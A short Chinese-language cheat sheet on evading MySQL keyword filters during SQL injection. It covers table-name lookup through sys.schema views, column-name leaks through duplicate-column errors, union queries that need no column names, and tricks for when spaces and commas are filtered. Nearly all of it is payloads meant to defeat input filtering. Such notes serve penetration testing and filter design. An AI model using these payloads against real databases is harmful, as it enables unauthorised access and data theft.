MYSQL 关键字过滤 Bypass
2022-03-22 22:47:14
过滤 information_schema
在 mysql 5.7 中新增了 sys.schema,基础数据来自于 performance_chema 和 information_schema 两个库,本身数据库不存储数据
sys.schema_auto_increment_columns
存在自增字段时可以使用 sys.schema_auto_increment_columns
获取表名
select table_name from sys.schema_auto_increment_columns where table_schema=database();
sys.schema_table_statistics_with_buffer
没有自增字段时可以使用 sys.schema_table_statistics_with_buffer
获取表名
elect table_name from sys.schema_table_statistics_with_buffer where table_schema=database();
获取字段名
使用 join .. using
获取字段名
select * from (select * from users as a join users as b)as c;
报错中可以得到第一个字段名
ERROR 1060 (42S21): Duplicate column name 'uid'
将 uid
加入到 using 中
select * from (select * from users as a join users as b using(uid))as c;
select * from (select * from users as a join users as b using(uid, name))as c;
...
限制
MYSQL 版本大于 5.7,root 权限
无列名注入
使用子查询可以在不知道列名的情况下获取数据
注意点
- 要查询的列需要用 `` 来包裹
- 需要知道表中有多少列
# admin 表存在
select `3` from (select 1,2,3 union select * from admin)a;
# ` 被过滤时使用别名代替
select b from (select 1,2,3 as b union select * from admin)a;
# 查询多列
select concat(`2`,0x7e,`3`) from (select 1,2,3 union select * from admin)a limit 1,3;
过滤空格
- 使用注释绕过,
/**/
,/*!*/
- 使用括号绕过,括号可以用来包围子查询,任何计算结果的语句都可以使用
()
包围,并且两端可以没有多余的空格 - 使用其他空白符替代空格,
%20%09%0d %0b %0c %0d %a0%0a
过滤逗号
使用 join 绕过
-1 UNION ALL SELECT * FROM ((SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d)
limit 的另一种写法:limit M offset N
,等价于 limit M, N